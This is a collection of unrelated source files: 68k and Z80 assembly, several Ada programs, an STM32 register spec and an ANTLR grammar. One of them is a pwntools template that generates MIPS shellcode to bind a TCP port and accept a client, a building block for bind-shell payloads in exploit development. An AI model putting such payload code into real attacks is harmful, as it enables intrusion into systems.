move.b jcb_pinc(a0),d3 ; set priority byte
lea jcb_end(a0),a0 ; job base
movem.l a0/a1,-(sp) ; save volatiles
bsr.s sms_nxjb ; get next job
movem.l (sp)+,a0/a1
moveq #0,d0 ; set ok
sij_exit
bra.l sms_rte ; done
page
;+++
; get next job id in d1 (top in d0)
;
; d0 cr top job id / 0
; d1 cr current job id / 0 or next job id
; d7 s current job id saved
; a0 r pointer to jcb of next
; a1 r pointer to job table for next
;---
sms_nxjb
move.l d1,d7 ; keep current id
; scan job table looking for first daughter
moveq #1,d1 ; start at 1 (Job 0 owned by 0!)
bsr.s snj_look ; looking for job owned by me
beq.s snj_exit ; ... found
; scan job table looking for next sibling
snj_up
cmp.l d0,d7 ; at top?
beq.s snj_nnxt ; ... yes, no next
move.l d7,d1 ; start at my owner
beq.s snj_nnxt ; ... can't
lsl.w #2,d1 ; index table in long words
move.l sys_jbtb(a6),a0 ; base of job table
add.w d1,a0
lsr.w #2,d1
move.l (a0),a0 ; job address
move.l jcb_ownr(a0),d7 ; my owner
addq.w #1,d1 ; next job
bsr.s snj_look ; look for job owned by my owner
beq.s snj_exit ; ... found
bra.s snj_up ; ... no, up
snj_nnxt
moveq #0,d1 ; no next job
moveq #0,d0
snj_exit
rts
snj_look
move.w d1,a1 ; job number
add.w a1,a1
add.w a1,a1
add.l sys_jbtb(a6),a1 ; pointer to job table
snj_loop
cmp.w sys_jbtp(a6),d1 ; off top of table?
bgt.s snj_rts ; ...
tst.b (a1) ; job exists?
blt.s snj_next
move.l (a1),a0 ; jcb
cmp.l jcb_ownr(a0),d7 ; owned by correct job?
beq.s snj_stag ; ... yes
snj_next
addq.l #4,a1
addq.w #1,d1 ; next
bra.s snj_loop
snj_stag
swap d1
move.w jcb_tag(a0),d1 ; tag in top end
swap d1
moveq #0,d0 ; set Z
snj_rts
rts
end
|
examples/main2.adb | jorge-real/TTS | 1 | 17132 | <reponame>jorge-real/TTS
with TTS_Example2;
with Ada.Exceptions; use Ada.Exceptions;
with Ada.Real_Time;
with Ada.Text_IO; use Ada.Text_IO;
procedure Main2 is
begin
TTS_Example2.Main;
delay until Ada.Real_Time.Time_Last;
exception
when E : others =>
Put_Line (Exception_Message (E));
end Main2;
|
libsrc/games/zxvgs/joystick.asm | grancier/z180 | 0 | 25404 | <reponame>grancier/z180
;
; Game device library for the ZX Spectrum
; <NAME> - 20/8/2001
;
; $Id: joystick.asm,v 1.5 2016/06/16 20:23:52 dom Exp $
;
INCLUDE "zxvgs.def"
SECTION code_clib
PUBLIC joystick
PUBLIC _joystick
.joystick
._joystick
;__FASTALL__ : joystick no. in HL
ld a,l
cp 1 ; Joystick 0
jr nz,j_no1
rst 8
defb ZXVGS_J0
jp j_done
.j_no1
cp 2 ; Joystick 1
jr nz,j_no2
rst 8
defb ZXVGS_J1
jr j_done
.j_no2
cp 3 ; Joystick 2
jr nz,j_no3
rst 8
defb ZXVGS_J2
jr j_done
.j_no3
cp 4 ; Joystick 3
jr nz,j_no4
rst 8
defb ZXVGS_J3
.j_no4
xor a
.j_done
ld h,0
ld l,a
ret
|
pwnlib/shellcraft/templates/mips/linux/listen.asm | DrKeineLust/pwntools | 8,966 | 7128 | <reponame>DrKeineLust/pwntools
<%
from pwnlib.shellcraft import mips
from pwnlib.util.net import sockaddr
%>
<% from socket import htons %>
<%page args="port, network='ipv4'"/>
<%docstring>
listen(port,network)
Listens on a TCP port, accept a client and leave his socket in $s0.
Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.
</%docstring>
<%
sock_addr, addr_len, address_family = sockaddr('0.0.0.0', port, network)
%>\
${mips.syscall('SYS_socket', address_family, 'SOCK_STREAM', 0)}
/* Save socket in $s0 */
${mips.mov('$s0', '$v0')}
/* Build sockaddr_in structure */
${mips.pushstr(sock_addr)}
${mips.mov('$a1', '$sp')}
${mips.syscall('SYS_bind', '$s0', '$a1', addr_len)}
${mips.syscall('SYS_listen', '$s0', 1)}
${mips.syscall('SYS_accept', '$s0', 0, 0)}
/* Move accepted socket to $s0 */
${mips.mov('$s0', '$v0')}
|
source/core/lace.ads | reznikmm/lace | 0 | 26815 | <reponame>reznikmm/lace<filename>source/core/lace.ads
-- SPDX-FileCopyrightText: 2021 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
package Lace is
pragma Pure;
end Lace; |
mapping.g4 | fhir-ru/built-test | 0 | 4350 | /**
* Define a grammar called FhirMapper
*/
grammar FhirMapper;
@header {
package com.cognitive.utilities;
}
// starting point for parsing a mapping file
mappingUnit
:
keyMap conceptMap* keyUses+ (keyImports)* group
;
keyMap
:
'map' structureMap '=' quotedString
;
keyUses
:
'uses' structureDefinition 'as' ( 'source' | 'target' | 'queried' | 'produced' ) (';')?
;
keyImports
:
'imports' structureMap (';')?
;
group
:
'group' groupName ('extends' groupName)* (ruleInput)+ (ruleGroup)+ 'endgroup'
;
groupName
:
IDENTIFIER
;
ruleInput
:
'input' sourceVar ':' inputType 'as' ('source' | 'target' ) (';')?
;
conceptMap
: 'conceptMap' '"#' IDENTIFIER '{' (prefix)+ conceptMapping '}'
;
prefix
:
'prefix' conceptMappingVar '=' quotedUrl
;
conceptMappingVar
: IDENTIFIER
;
conceptMapping
: conceptMappingVar ':' field
(('<=' | '=' | '==' | '!=' '>=' '>-' | '<-' | '~') conceptMappingVar ':' field) | '--'
;
inputType
: IDENTIFIER
;
ruleGroup
: ruleName ':' 'for' optional? ruleSource listOption?
('as' sourceVarAlias)? (whereClause)? (checkClause)?
'make' ruleAssign (',' ruleAssign)*
;
ruleSource
: ruleSourceVar | ruleType
;
ruleSourceVar
: sourceVar ('.' field)*
;
ruleType
: '@' IDENTIFIER '.' field
;
optional
: '(' 'optional' ')'
;
listOption
: '{' ('first' | 'last' | 'only_one') '}'
;
sourceVar
: IDENTIFIER
;
inputVar
: IDENTIFIER
;
sourceVarAlias
:
IDENTIFIER
;
transformVar
:
IDENTIFIER
;
ruleAssign
: targetVar '=' tranformWithThen
| targetVar '=' (text | sourceVarAlias | ('(' '"' sourceVar '"' ')'))
| tranformWithThen
| (targetVar 'as' sourceVar)
;
targetVar
: IDENTIFIER ('.' IDENTIFIER)*
;
field
: IDENTIFIER
;
sourceParam
: '"' IDENTIFIER '"'
;
targetParam
: '"' IDENTIFIER '"'
;
tranformWithThen
: tranform ('as' transformVar)? thenClause?
;
tranform
: create | copy | truncate | escape | cast | append
| translate | reference | codeableConcept | coding
| quantity | text | quotedUrl
;
create
: 'create' '(' sourceParam ')'
;
copy
: 'copy' '(' sourceParam ')'
;
truncate
: 'truncate' '(' sourceParam ',' DIGITS ')'
;
escape
: 'escape' '(' sourceParam (',' targetParam)* ')'
;
cast
: 'cast' '(' sourceParam (',' targetParam)? ')'
;
append
: 'append' '(' sourceParam+ ')'
;
translate
: 'translate' '(' sourceParam ',' structureMap ')'
;
reference
: 'reference' '(' IDENTIFIER ')'
;
codeableConcept
: ('cc' || 'CC') '(' ( (system ',' (code (',' display )? | IDENTIFIER )) | text) ')'
;
coding
: ('c' || 'C') '(' system ',' code (',' display )? ')'
;
quantity
: ('qty' || 'QTY') '(' ( ( value ',' unit (',' system ',' code)?) | text) ')'
;
ruleName
: IDENTIFIER ('.' IDENTIFIER)*
;
system
: quotedUrl
;
code
: '"' IDENTIFIER ('.' IDENTIFIER )* '"'
;
display
: '"' IDENTIFIER '"'
;
text
: '"' IDENTIFIER '"'
;
value
: '"' IDENTIFIER '"'
;
unit
: '"' IDENTIFIER '"'
;
structureMap
: '"' url '"'
;
checkClause
: 'check' fluentPath
;
whereClause
: 'where' fluentPath
;
fluentPath
: IDENTIFIER
;
thenClause
: 'then' '{' (ruleGroup)* '}'
;
quotedUrl
: '"' url '"'
;
structureDefinition
: '"' url '"'
;
url
: authority '://' login? host (':' port)? ( path)? ('?' search)?
;
authority
: IDENTIFIER
;
host
: hostname
| hostnumber
;
cellname
: hostname
;
hostname
: IDENTIFIER
;
hostnumber
: DIGITS '.' DIGITS '.' DIGITS '.' DIGITS
;
port
: DIGITS
;
path
: path_component+
;
path_component
: '/' IDENTIFIER
;
search
: searchparameter ('&' searchparameter)*
;
searchparameter
: STRING ('=' (STRING |DIGITS | HEX))?;
user
: STRING
;
login
: user ':' password '@'
;
password
: STRING
;
IDENTIFIER
: 'source' | 'target' | ( LETTER | DIGIT | '_' | '-' | '.')+ // adding the key words to IDENTIFIER
;
fragmentid
: STRING
;
ALPHA_NUMERIC
: (LETTER | DIGIT)+
;
HEX
: ('%' [a-fA-F0-9] [a-fA-F0-9])+
;
STRING
: (ALPHA_NUMERIC |HEX) ([a-zA-Z0-9] | HEX)*
;
LETTER
: [a-zA-Z]
;
DIGITS
: [0-9] +
;
DIGIT
: [0-9]
;
quotedString
: '"' .*? '"'
; // Match double quoted strings
WS
: [ \t\n\r]+ -> channel(HIDDEN)
;
LINE_COMMENT
: '//' ~[\r\n]* -> skip
; |
Task/Rate-counter/Ada/rate-counter.ada | LaudateCorpus1/RosettaCodeData | 1 | 12845 | <filename>Task/Rate-counter/Ada/rate-counter.ada
with System; use System;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Calendar; use Ada.Calendar;
with Ada.Unchecked_Deallocation; use Ada;
with Interfaces;
procedure Rate_Counter is
pragma Priority (Max_Priority);
package Duration_IO is new Fixed_IO (Duration);
Job_Nbr : constant := 6; -- adjust to your need
subtype Job_Index is Natural range 1 .. Job_Nbr;
task type Job (ID : Job_Index) is
pragma Priority (Default_Priority);
entry Start;
end Job;
type Job_Ptr is access Job;
procedure Free is new Unchecked_Deallocation (Job, Job_Ptr);
Jobs : array (Job_Index) of Job_Ptr;
Done : Natural := 0;
Completed : array (Job_Index) of Boolean := (others => False);
type Timings is array (Job_Index) of Calendar.Time;
Start_T, Stop_T : Timings;
task body Job is
Anchor : Interfaces.Integer_32;
pragma Volatile (Anchor); -- necessary to avoid compiler optimization.
begin
accept Start;
for I in Interfaces.Integer_32'Range loop -- the job to do
Anchor := I;
end loop;
end Job;
begin
for J in Job_Index'Range loop
Jobs (J) := new Job (ID => J); -- create the jobs first, sync later
end loop;
for J in Job_Index'Range loop -- launch the jobs in parallel
Start_T (J) := Calendar.Clock; -- get the start time
Jobs (J).Start; -- priority settings necessary to regain control.
end loop;
-- Polling for the results / also possible to use a protected type.
while not (Done = Job_Nbr) loop
for J in Job_Index'Range loop
if not Completed (J) and then Jobs (J)'Terminated then
Stop_T (J) := Calendar.Clock; -- get the end time
Put ("Job #" & Job_Index'Image (J) & " is finished. It took ");
Duration_IO.Put (Stop_T (J) - Start_T (J), Fore => 3, Aft => 2);
Put_Line (" seconds.");
Completed (J) := True;
Done := Done + 1;
end if;
end loop;
delay System.Tick; -- according to the precision of the system clock
end loop;
Duration_IO.Put (System.Tick, Fore => 1, Aft => 6);
Put_Line (" seconds is the precision of System clock.");
for J in Job_Index'Range loop
Free (Jobs (J)); -- no GC in Ada, clean-up is explicit
end loop;
end Rate_Counter;
|
arch/ARM/STM32/svd/stm32wl5x_cm0/stm32_svd-rcc.ads | morbos/Ada_Drivers_Library | 2 | 21484 | <gh_stars>1-10
-- This spec has been automatically generated from STM32WL5x_CM0P.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.RCC is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype CR_MSIRANGE_Field is HAL.UInt4;
-- Clock control register
type CR_Register is record
-- MSI clock enable
MSION : Boolean := True;
-- Read-only. MSI clock ready flag (After reset this bit will be read 1
-- once the MSI is ready)
MSIRDY : Boolean := False;
-- MSI clock PLL enable
MSIPLLEN : Boolean := False;
-- MSI range control selection
MSIRGSEL : Boolean := False;
-- MSI clock ranges
MSIRANGE : CR_MSIRANGE_Field := 16#6#;
-- HSI16 clock enable
HSION : Boolean := False;
-- HSI16 always enable for peripheral kernel clocks.
HSIKERON : Boolean := False;
-- Read-only. HSI16 clock ready flag. (After wakeup from Stop this bit
-- will be read 1 once the HSI16 is ready)
HSIRDY : Boolean := False;
-- HSI16 automatic start from Stop
HSIASFS : Boolean := False;
-- Read-only. HSI16 kernel clock ready flag for peripherals requests.
HSIKERDY : Boolean := False;
-- unspecified
Reserved_13_15 : HAL.UInt3 := 16#0#;
-- HSE32 clock enable
HSEON : Boolean := False;
-- Read-only. HSE32 clock ready flag
HSERDY : Boolean := False;
-- unspecified
Reserved_18_18 : HAL.Bit := 16#0#;
-- HSE32 Clock security system enable
CSSON : Boolean := False;
-- HSE32 sysclk prescaler
HSEPRE : Boolean := False;
-- Enable HSE32 VDDTCXO output on package pin PB0-VDDTCXO.
HSEBYPPWR : Boolean := False;
-- unspecified
Reserved_22_23 : HAL.UInt2 := 16#0#;
-- Main PLL enable
PLLON : Boolean := False;
-- Read-only. Main PLL clock ready flag
PLLRDY : Boolean := False;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CR_Register use record
MSION at 0 range 0 .. 0;
MSIRDY at 0 range 1 .. 1;
MSIPLLEN at 0 range 2 .. 2;
MSIRGSEL at 0 range 3 .. 3;
MSIRANGE at 0 range 4 .. 7;
HSION at 0 range 8 .. 8;
HSIKERON at 0 range 9 .. 9;
HSIRDY at 0 range 10 .. 10;
HSIASFS at 0 range 11 .. 11;
HSIKERDY at 0 range 12 .. 12;
Reserved_13_15 at 0 range 13 .. 15;
HSEON at 0 range 16 .. 16;
HSERDY at 0 range 17 .. 17;
Reserved_18_18 at 0 range 18 .. 18;
CSSON at 0 range 19 .. 19;
HSEPRE at 0 range 20 .. 20;
HSEBYPPWR at 0 range 21 .. 21;
Reserved_22_23 at 0 range 22 .. 23;
PLLON at 0 range 24 .. 24;
PLLRDY at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype ICSCR_MSICAL_Field is HAL.UInt8;
subtype ICSCR_MSITRIM_Field is HAL.UInt8;
subtype ICSCR_HSICAL_Field is HAL.UInt8;
subtype ICSCR_HSITRIM_Field is HAL.UInt7;
-- Internal clock sources calibration register
type ICSCR_Register is record
-- Read-only. MSI clock calibration
MSICAL : ICSCR_MSICAL_Field := 16#0#;
-- MSI clock trimming
MSITRIM : ICSCR_MSITRIM_Field := 16#0#;
-- Read-only. HSI16 clock calibration
HSICAL : ICSCR_HSICAL_Field := 16#0#;
-- HSI16 clock trimming
HSITRIM : ICSCR_HSITRIM_Field := 16#40#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICSCR_Register use record
MSICAL at 0 range 0 .. 7;
MSITRIM at 0 range 8 .. 15;
HSICAL at 0 range 16 .. 23;
HSITRIM at 0 range 24 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CFGR_SW_Field is HAL.UInt2;
subtype CFGR_SWS_Field is HAL.UInt2;
subtype CFGR_HPRE_Field is HAL.UInt4;
-- CFGR_PPRE array element
subtype CFGR_PPRE_Element is HAL.UInt3;
-- CFGR_PPRE array
type CFGR_PPRE_Field_Array is array (1 .. 2) of CFGR_PPRE_Element
with Component_Size => 3, Size => 6;
-- Type definition for CFGR_PPRE
type CFGR_PPRE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PPRE as a value
Val : HAL.UInt6;
when True =>
-- PPRE as an array
Arr : CFGR_PPRE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for CFGR_PPRE_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
subtype CFGR_MCOSEL_Field is HAL.UInt4;
subtype CFGR_MCOPRE_Field is HAL.UInt3;
-- Clock configuration register
type CFGR_Register is record
-- System clock switch
SW : CFGR_SW_Field := 16#0#;
-- Read-only. System clock switch status
SWS : CFGR_SWS_Field := 16#0#;
-- HCLK1 prescaler (CPU1, AHB1, AHB2, and SRAM1.)
HPRE : CFGR_HPRE_Field := 16#0#;
-- PCLK1 low-speed prescaler (APB1)
PPRE : CFGR_PPRE_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_14_14 : HAL.Bit := 16#0#;
-- Wakeup from Stop and CSS backup clock selection
STOPWUCK : Boolean := False;
-- Read-only. HCLK1 prescaler flag (CPU1, AHB1, AHB2, and SRAM1)
HPREF : Boolean := True;
-- Read-only. PCLK1 prescaler flag (APB1)
PPRE1F : Boolean := True;
-- Read-only. PCLK2 prescaler flag (APB2)
PPRE2F : Boolean := True;
-- unspecified
Reserved_19_23 : HAL.UInt5 := 16#0#;
-- Microcontroller clock output
MCOSEL : CFGR_MCOSEL_Field := 16#0#;
-- Microcontroller clock output prescaler
MCOPRE : CFGR_MCOPRE_Field := 16#0#;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CFGR_Register use record
SW at 0 range 0 .. 1;
SWS at 0 range 2 .. 3;
HPRE at 0 range 4 .. 7;
PPRE at 0 range 8 .. 13;
Reserved_14_14 at 0 range 14 .. 14;
STOPWUCK at 0 range 15 .. 15;
HPREF at 0 range 16 .. 16;
PPRE1F at 0 range 17 .. 17;
PPRE2F at 0 range 18 .. 18;
Reserved_19_23 at 0 range 19 .. 23;
MCOSEL at 0 range 24 .. 27;
MCOPRE at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype PLLCFGR_PLLSRC_Field is HAL.UInt2;
subtype PLLCFGR_PLLM_Field is HAL.UInt3;
subtype PLLCFGR_PLLN_Field is HAL.UInt7;
subtype PLLCFGR_PLLP_Field is HAL.UInt5;
subtype PLLCFGR_PLLQ_Field is HAL.UInt3;
subtype PLLCFGR_PLLR_Field is HAL.UInt3;
-- PLL configuration register
type PLLCFGR_Register is record
-- Main PLL entry clock source
PLLSRC : PLLCFGR_PLLSRC_Field := 16#0#;
-- unspecified
Reserved_2_3 : HAL.UInt2 := 16#0#;
-- Division factor for the main PLL input clock
PLLM : PLLCFGR_PLLM_Field := 16#0#;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- Main PLL multiplication factor for VCO
PLLN : PLLCFGR_PLLN_Field := 16#1#;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- Main PLL PLLPCLK output enable
PLLPEN : Boolean := False;
-- Main PLL division factor for PLLPCLK.
PLLP : PLLCFGR_PLLP_Field := 16#2#;
-- unspecified
Reserved_22_23 : HAL.UInt2 := 16#0#;
-- Main PLL PLLQCLK output enable
PLLQEN : Boolean := False;
-- Main PLL division factor for PLLQCLK
PLLQ : PLLCFGR_PLLQ_Field := 16#1#;
-- Main PLL PLLRCLK output enable
PLLREN : Boolean := False;
-- Main PLL division factor for PLLRCLK
PLLR : PLLCFGR_PLLR_Field := 16#1#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PLLCFGR_Register use record
PLLSRC at 0 range 0 .. 1;
Reserved_2_3 at 0 range 2 .. 3;
PLLM at 0 range 4 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
PLLN at 0 range 8 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
PLLPEN at 0 range 16 .. 16;
PLLP at 0 range 17 .. 21;
Reserved_22_23 at 0 range 22 .. 23;
PLLQEN at 0 range 24 .. 24;
PLLQ at 0 range 25 .. 27;
PLLREN at 0 range 28 .. 28;
PLLR at 0 range 29 .. 31;
end record;
-- Clock interrupt enable register
type CIER_Register is record
-- LSI ready interrupt enable
LSIRDYIE : Boolean := False;
-- LSE ready interrupt enable
LSERDYIE : Boolean := False;
-- MSI ready interrupt enable
MSIRDYIE : Boolean := False;
-- HSI16 ready interrupt enable
HSIRDYIE : Boolean := False;
-- HSE32 ready interrupt enable
HSERDYIE : Boolean := False;
-- PLL ready interrupt enable
PLLRDYIE : Boolean := False;
-- unspecified
Reserved_6_8 : HAL.UInt3 := 16#0#;
-- LSE clock security system interrupt enable
LSECSSIE : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CIER_Register use record
LSIRDYIE at 0 range 0 .. 0;
LSERDYIE at 0 range 1 .. 1;
MSIRDYIE at 0 range 2 .. 2;
HSIRDYIE at 0 range 3 .. 3;
HSERDYIE at 0 range 4 .. 4;
PLLRDYIE at 0 range 5 .. 5;
Reserved_6_8 at 0 range 6 .. 8;
LSECSSIE at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- Clock interrupt flag register
type CIFR_Register is record
-- Read-only. LSI ready interrupt flag
LSIRDYF : Boolean;
-- Read-only. LSE ready interrupt flag
LSERDYF : Boolean;
-- Read-only. MSI ready interrupt flag
MSIRDYF : Boolean;
-- Read-only. HSI16 ready interrupt flag
HSIRDYF : Boolean;
-- Read-only. HSE32 ready interrupt flag
HSERDYF : Boolean;
-- Read-only. PLL ready interrupt flag
PLLRDYF : Boolean;
-- unspecified
Reserved_6_7 : HAL.UInt2;
-- Read-only. HSE32 Clock security system interrupt flag
CSSF : Boolean;
-- Read-only. LSE Clock security system interrupt flag
LSECSSF : Boolean;
-- unspecified
Reserved_10_31 : HAL.UInt22;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CIFR_Register use record
LSIRDYF at 0 range 0 .. 0;
LSERDYF at 0 range 1 .. 1;
MSIRDYF at 0 range 2 .. 2;
HSIRDYF at 0 range 3 .. 3;
HSERDYF at 0 range 4 .. 4;
PLLRDYF at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
CSSF at 0 range 8 .. 8;
LSECSSF at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- Clock interrupt clear register
type CICR_Register is record
-- Write-only. LSI ready interrupt clear
LSIRDYC : Boolean := False;
-- Write-only. LSE ready interrupt clear
LSERDYC : Boolean := False;
-- Write-only. MSI ready interrupt clear
MSIRDYC : Boolean := False;
-- Write-only. HSI16 ready interrupt clear
HSIRDYC : Boolean := False;
-- Write-only. HSE32 ready interrupt clear
HSERDYC : Boolean := False;
-- Write-only. PLL ready interrupt clear
PLLRDYC : Boolean := False;
-- unspecified
Reserved_6_7 : HAL.UInt2 := 16#0#;
-- Write-only. HSE32 Clock security system interrupt clear
CSSC : Boolean := False;
-- Write-only. LSE Clock security system interrupt clear
LSECSSC : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CICR_Register use record
LSIRDYC at 0 range 0 .. 0;
LSERDYC at 0 range 1 .. 1;
MSIRDYC at 0 range 2 .. 2;
HSIRDYC at 0 range 3 .. 3;
HSERDYC at 0 range 4 .. 4;
PLLRDYC at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
CSSC at 0 range 8 .. 8;
LSECSSC at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- AHB1 peripheral reset register
type AHB1RSTR_Register is record
-- DMA1 reset
DMA1RST : Boolean := False;
-- DMA2 reset
DMA2RST : Boolean := False;
-- DMAMUX1 reset
DMAMUX1RST : Boolean := False;
-- unspecified
Reserved_3_11 : HAL.UInt9 := 16#0#;
-- CRC reset
CRCRST : Boolean := False;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB1RSTR_Register use record
DMA1RST at 0 range 0 .. 0;
DMA2RST at 0 range 1 .. 1;
DMAMUX1RST at 0 range 2 .. 2;
Reserved_3_11 at 0 range 3 .. 11;
CRCRST at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- AHB2 peripheral reset register
type AHB2RSTR_Register is record
-- IO port A reset
GPIOARST : Boolean := False;
-- IO port B reset
GPIOBRST : Boolean := False;
-- IO port C reset
GPIOCRST : Boolean := False;
-- unspecified
Reserved_3_6 : HAL.UInt4 := 16#0#;
-- IO port H reset
GPIOHRST : Boolean := False;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB2RSTR_Register use record
GPIOARST at 0 range 0 .. 0;
GPIOBRST at 0 range 1 .. 1;
GPIOCRST at 0 range 2 .. 2;
Reserved_3_6 at 0 range 3 .. 6;
GPIOHRST at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- AHB3 peripheral reset register
type AHB3RSTR_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- PKARST
PKARST : Boolean := False;
-- AESRST
AESRST : Boolean := False;
-- RNGRST
RNGRST : Boolean := False;
-- HSEMRST
HSEMRST : Boolean := False;
-- IPCCRST
IPCCRST : Boolean := False;
-- unspecified
Reserved_21_24 : HAL.UInt4 := 16#0#;
-- Flash interface reset
FLASHRST : Boolean := False;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB3RSTR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PKARST at 0 range 16 .. 16;
AESRST at 0 range 17 .. 17;
RNGRST at 0 range 18 .. 18;
HSEMRST at 0 range 19 .. 19;
IPCCRST at 0 range 20 .. 20;
Reserved_21_24 at 0 range 21 .. 24;
FLASHRST at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- APB1 peripheral reset register 1
type APB1RSTR1_Register is record
-- TIM2 timer reset
TIM2RST : Boolean := False;
-- unspecified
Reserved_1_13 : HAL.UInt13 := 16#0#;
-- SPI2S2 reset
SPI2S2RST : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- USART2 reset
USART2RST : Boolean := False;
-- unspecified
Reserved_18_20 : HAL.UInt3 := 16#0#;
-- I2C1 reset
I2C1RST : Boolean := False;
-- I2C2 reset
I2C2RST : Boolean := False;
-- I2C3 reset
I2C3RST : Boolean := False;
-- unspecified
Reserved_24_28 : HAL.UInt5 := 16#0#;
-- DAC1 reset
DACRST : Boolean := False;
-- unspecified
Reserved_30_30 : HAL.Bit := 16#0#;
-- Low Power Timer 1 reset
LPTIM1RST : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1RSTR1_Register use record
TIM2RST at 0 range 0 .. 0;
Reserved_1_13 at 0 range 1 .. 13;
SPI2S2RST at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
USART2RST at 0 range 17 .. 17;
Reserved_18_20 at 0 range 18 .. 20;
I2C1RST at 0 range 21 .. 21;
I2C2RST at 0 range 22 .. 22;
I2C3RST at 0 range 23 .. 23;
Reserved_24_28 at 0 range 24 .. 28;
DACRST at 0 range 29 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
LPTIM1RST at 0 range 31 .. 31;
end record;
-- APB1 peripheral reset register 2
type APB1RSTR2_Register is record
-- Low-power UART 1 reset
LPUART1RST : Boolean := False;
-- unspecified
Reserved_1_4 : HAL.UInt4 := 16#0#;
-- Low-power timer 2 reset
LPTIM2RST : Boolean := False;
-- Low-power timer 3 reset
LPTIM3RST : Boolean := False;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1RSTR2_Register use record
LPUART1RST at 0 range 0 .. 0;
Reserved_1_4 at 0 range 1 .. 4;
LPTIM2RST at 0 range 5 .. 5;
LPTIM3RST at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- APB2 peripheral reset register
type APB2RSTR_Register is record
-- unspecified
Reserved_0_8 : HAL.UInt9 := 16#0#;
-- ADC reset
ADCRST : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- TIM1 timer reset
TIM1RST : Boolean := False;
-- SPI1 reset
SPI1RST : Boolean := False;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- USART1 reset
USART1RST : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- TIM16 timer reset
TIM16RST : Boolean := False;
-- TIM17 timer reset
TIM17RST : Boolean := False;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB2RSTR_Register use record
Reserved_0_8 at 0 range 0 .. 8;
ADCRST at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
TIM1RST at 0 range 11 .. 11;
SPI1RST at 0 range 12 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
USART1RST at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
TIM16RST at 0 range 17 .. 17;
TIM17RST at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- APB3 peripheral reset register
type APB3RSTR_Register is record
-- Sub-GHz radio SPI reset
SUBGHZSPIRST : Boolean := False;
-- unspecified
Reserved_1_31 : HAL.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB3RSTR_Register use record
SUBGHZSPIRST at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
-- AHB1 peripheral clock enable register
type AHB1ENR_Register is record
-- CPU1 DMA1 clock enable
